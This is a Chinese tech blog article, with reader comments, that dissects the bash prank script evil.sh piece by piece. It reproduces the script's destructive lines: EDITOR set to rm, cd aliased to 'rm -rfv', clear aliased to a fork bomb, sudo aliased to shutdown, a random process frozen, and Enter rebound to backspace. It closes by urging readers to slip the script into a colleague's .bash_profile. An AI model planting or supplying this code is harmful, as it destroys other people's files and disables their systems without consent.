---
author: Wxy
category: 技术
comments_data:
- date: '2017-05-27 12:40:23'
  message: 这个真的是好啊，比rm -rf / 好多了
  postip: 113.57.167.42
  username: 来自湖北武汉的 Chrome 58.0|Windows 10 用户
- date: '2017-05-27 12:49:14'
  message: "一堆废话。我之前写脚本已经意识到这个问题，所以调用一律外部命令前加反斜杠， 例如 \\grep。或者用绝对路径。<br />\r\n此外文中提到的其他方面，是看脚本编写者对
    shell 的熟悉程度，以及在编写脚本时，是否存在想到过但是写的时候遗漏了。<br />\r\n比如我上面提到的准确调用外部命令，可能个别命令会漏写。<br
    />\r\n<br />\r\n对于尽量避免遗漏的发生，可以通过调用预先设置的只读常量来缓解，但不会根本解决，万一只读常量拼错了，或者用成名字相近的。<br
    />\r\n<br />\r\n归根到底，是要在使用前反复检查，在测试环境中仔细调试。"
  postip: 118.122.120.11
  username: 来自四川成都的 Chrome 58.0|GNU/Linux 用户
- date: '2017-05-27 12:50:18'
  message: 所以调用外部命令一律命令前面加反斜杠
  postip: 118.122.120.11
  username: 来自四川成都的 Chrome 58.0|GNU/Linux 用户
- date: '2017-05-27 16:42:14'
  message: 或者在关键代码的前一行，添加 unalias -a
  postip: 118.122.120.11
  username: 来自四川成都的 Chrome 58.0|GNU/Linux 用户
- date: '2017-05-27 20:45:22'
  message: 要离职的兄弟们，千万不要记住以上内容～～～
  postip: 117.150.45.151
  username: POCMON [Firefox 53.0|GNU/Linux]
- date: '2017-05-27 23:06:07'
  message: 在假设系统没有被外部攻破的前提下，使用绝对路径来调用命令，是最佳解决方法，脚本中由于各种原因导致的 PATH 变量被修改，命令被指定错误别名，都不会影响命令的正确调用，只是对于不同发行版可能需要对路径进行调整。
  postip: 182.139.91.28
  username: 来自四川成都的 Chromium 58.0|Ubuntu 用户
- date: '2017-05-27 23:08:44'
  message: 如果考虑到外部威胁，那这个方法依然有个问题，如果命令被符号链接，那调用前需要检查命令是否为符号链接，但就算能检查，由于脚本缺乏原子性，所以不能保证验证成功后的一刹那，命令不会被替换为错误的符号链接。再考虑到
    rootkit 的存在，一个检查符号链接的措施也是不保险的。
  postip: 182.139.91.28
  username: 来自四川成都的 Chromium 58.0|Ubuntu 用户
- date: '2017-05-30 11:58:20'
  message: 我有一个大胆得想法，嘿嘿
  postip: 114.218.169.173
  username: hrj294055233 [Firefox 53.0|Ubuntu]
- date: '2017-05-31 15:50:48'
  message: 神奇的alias
  postip: 111.203.12.97
  username: 噪音未来 [Chrome 58.0|Windows 7]
- date: '2017-06-02 18:14:12'
  message: 可比 rm -rf * 有意思多了
  postip: 125.46.3.237
  username: WangYueScream [Chrome 50.0|Windows 7]
count:
  commentnum: 10
  favtimes: 2
  likes: 0
  sharetimes: 0
  viewnum: 18741
date: '2017-05-27 12:35:00'
editorchoice: true
excerpt: 这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！
fromurl: ''
id: 8544
islctt: false
largepic: /images/p/201705/27/123313bhhiigzol1od5hri.jpg
permalink: /article-8544-1.html
pic: /data/attachment/album/201705/27/123313bhhiigzol1od5hri.jpg.thumb.jpg
related: []
reviewer: ''
selector: ''
summary: 这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！
tags:
- 脚本
- 别名
- alias
thumb: false
title: 我是见鬼了么？这是史上最邪恶的脚本！没有之一！
titlepic: true
translator: ''
updated: '2017-05-27 12:35:00'
---

![](/data/attachment/album/201705/27/123313bhhiigzol1od5hri.jpg)


昨天，微博上的朋友 [@马甲与小号](http://weibo.com/3404002352) 告诉我发现了一个奇怪的东西，本着好奇心使人进步（害死猫？）的目的，我去观摩了一番，于是就有了今天这篇文章。


这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！



> 
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
> 
> 
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
> 
> 
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
> 
> 
> 


### 这个世界怎么了？


这个脚本主要由一些别名、函数、环境变量定义组织而成，执行该脚本后，你的 shell 环境就变成了一个光怪陆离的世界。


好了，那么我们来看看都发生了什么。


注：本脚本适用于 bash 环境，其它 shell 环境有些不支持。


#### 可怕的默认编辑器


当系统调用默认编辑器来编辑比如 crontab 时，biu 的一下，文件没了！



```
export EDITOR=/bin/rm;

```

这是将 `EDITOR` 环境变量定义为 `rm`，而它原本应该是 `vi`、`emacs` 或 `nano` 的，体会一下，是不是很酸爽？



> 
> 学习课堂：
> 
> 
> `EDITOR` 环境变量用于定于系统的默认编辑器，在一些系统内置功能里面，比如编辑 crontab 时，会根据该变量调用默认编辑器。
> 
> 
> 


#### 猥琐的制表符（tab）


当你想用制表符来个自动补全时，你会它非但不干，而且还删除了一个字母，不信邪的你使劲多砸了几个制表符，这下好了，更多的字符被删除了。



```
tset -Qe $'\t';
```

原来是将制表符定义为退格键了。



> 
> 学习课堂：
> 
> 
> `tset` 用于设置终端特征；`-e` 参数设置擦除字符，缺省为退格字符；`-Q` 表示不显示设置信息（静默）。
> 
> 
> 


#### 莫名退出


有时候，执行一个命令就会莫名其妙地退出 shell，只不过是命令有个非 0 的返回状态嘛，为什么会这样？



```
((RANDOM % 10)) || set -o errexit;

```


> 
> 学习课堂：
> 
> 
> `set -o errexit` 等价于 `set -e`，表示有任何错误（命令的返回状态非 0 ）时即退出。
> 
> 
> 


#### 啥都看（cat）不了


当我想看（`cat`）一下文件时，它居然就当没听见，到底文件里面有啥啊？



```
alias cat=true;

```

原来是把 `cat` 定义成 `true` 命令的别名了， `true` 命令啥都不干，不管你给它什么参数和什么输入，它只是静静地返回一个 `0` 的状态码。



> 
> 学习课堂
> 
> 
> `true` 命令和 `false` 命令常用于 shell 脚本中。
> 
> 
> 


#### 到底是按什么排列的啊？


好吧，我想看看目录里面有啥文件，于是我输入了 `ls`，咦？这是什么顺序？我再次输入一遍，怎么回事，列出的文件和目录又是一种顺序，难道它的输出看心情吗？



```
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

```

原来它用一个函数重新定义了 `ls`，所以，真是看心情，你永远不知道它会以什么顺序返回结果。



> 
> 学习课堂：
> 
> 
> ls 的 `f` 选项表示不排序输出（即只按照磁盘存储顺序输出）；`r` 表示反向排序；`S` 表示按文件大小排序；`t` 表示按修改时间排序；`u` 表示按最后访问时间排序。
> 
> 
> 


#### 再也不要试着进入目录了


当我想进入目录看看时，惊奇的是居然没进去，难道没有自动补全我就输入错了？用前面那个奇奇怪怪的 `ls` 再次看看时，令人惊恐的是，那个目录！它没有了！！！不信邪的我又重复了这个过程，然后，我就一个子目录也没有了！



```
alias cd='rm -rfv';

```

这该死的，连输入 `cd` 这么无害的命令都这么可怕！



> 
> 学习课堂：
> 
> 
> `rm` 命令的 `-r` 表示可删除（非空）目录；`-f` 表示不需要确认删除；`-v` 表示删除后显示被删除的文件/目录名称——这里是用来嘲讽我删除了某个目录的吗？
> 
> 
> 


#### 还敢用 sudo 权限吗？


我很遵守安全守则，从来不用 root 直接登录，凡是管理任务，都用 `sudo` 来执行。然而，现在无论我用 `sudo` 执行什么命令，都会**马上关机**，并将我输入的命令广而告之！这是我被系统讨厌了么？



```
alias sudo='sudo shutdown -P now';

```


> 
> 学习课堂：
> 
> 
> `shutdown` 命令用来关闭系统，`-P` 参数表示连同电源一起关闭； `now` 表示马上关机。这之后的参数（在此例中，是原本希望 `sudo` 执行的命令）会作为关闭前的通知信息，广播给系统上所有在线的用户。
> 
> 
> 


#### 我原本想静静，结果世界都静了


杂乱的屏幕输出让你厌憎，所以，一个 `clear` 命令就可以静静了——等等，为什么我的终端崩溃了？然后系统也死机了。



```
alias clear=':(){ :|:& };:';

```

这是将 `clear` 命令别名为一个 [fork 炸弹](/article-5685-1.html)了，据说这个是最精简、最难懂的 fork 炸弹了。至于炸弹的效果，嗯，世界都安静了



> 
> 学习课堂：
> 
> 
> Fork 炸弹带来的后果就是耗尽服务器资源，使服务器不能正常的对外提供服务，也就是常说的 DoS（Denial of Service）。
> 
> 
> 


#### 今夕是何年？


这光怪陆离的世界啊，让我疑似梦中，那么，现在是什么时候？当然，我肯定不会去翻日历的，输入 `date` 命令才是我们命令行极客该做的事情。看着返回的日期，我不禁怀疑我的记忆，难道我穿越了么？



```
alias date='date -d "now + $RANDOM days"';

```


> 
> 学习课堂：
> 
> 
> `date` 命令可以显示相对偏移的日期，上述命令中 `$RANDOM` 的结果是一个随机的整数，也就是说这里的 `date` 命令会返回若干天之后的日期。
> 
> 
> 


#### 如果你有一个鬼马的 CD 驱动器


现在 CD 驱动器用的不多了，但是很多机器上还残留着这个“咖啡杯托”，如果你有幸还有这个东西的话，或许今天它就被鬼怪附体了，一会弹出，一会又收回去，有时候你按下弹出键却毫无反应——当你真的将咖啡杯放上面时，小心，你的咖啡杯会掉下来！



> 
> 将 CD 盘托当成咖啡杯托是一个笑话，据说某人曾经给电脑厂家打电话：
> 
> 
> “您好，我想说你们的机器上的咖啡杯托以前挺好用的，可是现在它不动了。”
> 
> 
> “‘咖啡杯托’？那是什么？”
> 
> 
> “就是那个一按按钮就会弹出的托盘啊，放咖啡杯正好，还有合适的凹槽，设计的不错！以前都好好的，现在它不会弹出了。”
> 
> 
> “……”
> 
> 
> 



```
    N=$[$RANDOM % 3];
    if [[ $N == 0 ]]; then
        # 几分钟后随即打开或关闭
        sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
    elif [[ $N == 1 ]]; then
        # 要么，死活打不开
        sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
    else
        # 要么，读取变得极慢（1 倍速），需要循环的原因是弹出后就需要重新设定。
        sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
    fi;

```


> 
> 学习课堂：
> 
> 
> `eject` 是操作 CD 驱动器的命令行，记得当年有位第一次接触 SUN Solaris 的同事问我，这 CD 怎么打开啊？我默默地输入了 `eject`， 在同事愕然的眼光中不带走一丝云彩轻轻地离开。
> 
> 
> `eject` 的 `-T` 选项会将关闭的 CD 驱动器打开，将打开的 CD 驱动器关闭；`-t` 选项则是关闭 CD 驱动器；`-x` 选项用来设置读取倍速；`-i on` 用于将弹出按钮失效。
> 
> 
> 


#### 冰川时代


突然地，某个你已经打开的程序冻结了，也许是你的浏览器、也许是你正写了一半的文档，所以，随时保存文档是个好习惯吗？



```
sleep $[ ( $RANDOM % 100 )  + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

```


> 
> 学习课题：
> 
> 
> `sleep` 就不用解释了，这代表暂停若干秒。
> 
> 
> 通过上述 `ps` 命令会会随机选出（`sort` 命令的 `-R` 选项）一个你的进程号，然后由 `kill` 命令发送 `STOP` 信号给它。`STOP` 信息会使程序被停止（冻结、挂起），在命令行中可有 `CTRL-Z` 发出，被停止的进程可以通过 `bg` 放到后台运行，也可以由 `fg` 带回到前台。
> 
> 
> 


#### 一个还是两个？


当我想复制一个文件到另外一个地方时，咦？原来的那个哪里去了？



```
alias cp='mv';

```

还好，还好，你总是还有一个副本的，这总算是不幸中的大幸了。



> 
> 学习课堂：
> 
> 
> `cp` 是 `mv`，`mv` 还是 `mv`。
> 
> 
> 


#### 永不停止的工作


打完收工，你总是要退出（`exit`）你的 shell 的，但是一直退不出是什么意思？



```
alias exit='sh';

```


> 
> 学习课堂：
> 
> 
> 将 `exit` 命令别名为 `sh` ，这样输入 `exit` 命令后不是退出当前 shell，而是有进入了一个新的子 shell，想退出不干？没门！
> 
> 
> 


#### 到底是哪行？


会用 `grep` 的你，应该知道 `-n` 参数可以告诉你所匹配的行的行号，但是随机乱变的行号是什么鬼？我讨厌随机！



```
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

```


> 
> `grep` 命令的 `-n` 用于输出匹配的行的行号，上述函数将 `grep` 定义为一个输出的行号完全不可预测的程序。
> 
> 
> 


#### 世界是反着的


你脚本也总是出各种匪夷所思的问题，而且你还不知道什么地方出了问题。这一切都要怪你进入了一个“是”即是“非”的世界。



```
alias if='if !' for='for !' while='while !';

```

将 `if`、`for` 和 `while` 所检测的条件定义为反，我不知道这个世界可以疯狂到这个地步！



> 
> 学习课堂：
> 
> 
> `if` 、`for` 和 `while` 是用于 shell 脚本中做逻辑判断和循环的语句，`!` 表示对表达式逻辑取反。
> 
> 
> 


#### 想执行命令？没门！


当你输入了一个命令之后，用小指轻轻地、优雅地，按下右侧的那个小小的回车键，满心以为会爆发出绝世高手的风范。然而……并没有，非但没有，你输入的命令还被删除了一个字符！懵逼的你以为用力太轻了，再次敲击后发现又被删除了一个！！！



> 
> 记得有一个电影，危急情况下，当别人把键盘递给一位即将闭眼的黑客时，他只是轻轻按下了那个“回车”！
> 
> 
> 



```
bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';

```


> 
> 学习课堂：
> 
> 
> `bind` 用于显示和设置键盘序列绑定，`C-J` 代表 `CTRL-J`，所触发的 ASCII 码是 `0x0A`，即“换行”；`C-M` 代表 `CTRL-M`，所触发的 ASCII 码是 `0x0D`，即“回车”；`C-?` 代表 `CTRL-?`，所触发的 ASCII 码是 `0x7F`，即“退格”。也就是说，你按下的回车键，会被映射为退格键。关于 ASCII 控制字符，可参见： <http://ascii-table.com/control-chars.php> 。也可以使用 `showkey -a` 命令来检验你按下的键的键值（`CTRL-D` 退出）。
> 
> 
> 


#### 好的，但是我不干


你说要，但是你的身体却说不要。明明应该应答 `yes`，但是却实际上拒绝了。



```
alias yes="yes n";

```


> 
> 学习课堂：
> 
> 
> `yes` 命令常用于脚本中应答 `y`，但是这里重定义了 `yes` 的结果。这是身口不一么？
> 
> 
> 


#### 我要编辑文件


当我用 vim 打开一个文件时，为什么什么都没发生？



```
alias vim="vim +q";

```


> 
> 学习课堂：
> 
> 
> `vim` 可以用 `+` 来跟上要在 `vim` 里面执行的命令，这里 `+q` 表示退出 `vim`。
> 
> 
> 


#### 最后，别想回到正常的世界


好吧，我明白了，都是 `alias` 捣的鬼，我要取消它们。什么？取消也无效了？



```
alias unalias=false;
alias alias=false;

```


> 
> 学习课堂：
> 
> 
> 将 `alias` 和 `unalias` 别名为 `false`，那你就不能执行 `alias` 的功能了。
> 
> 
> 


### 让我回到真实的世界吧！


好了，我已经受够了这个疯狂是世界了。其实，上面这些别名，都是可以通过输入命令的全路径来绕开别名的——只是一般人不会这样输入。


想要整蛊你的同事，那就将这个脚本（<https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh> ）放到他的机器上，并在他的 `.bash_profile` 的末尾加入 `source ~/evil.sh` 即可。当然，你要这么做之前，要有友尽的心理准备。


感谢这个邪恶的脚本的贡献者： Mathias Bynens 和 Jan Moesen 等人 ;-D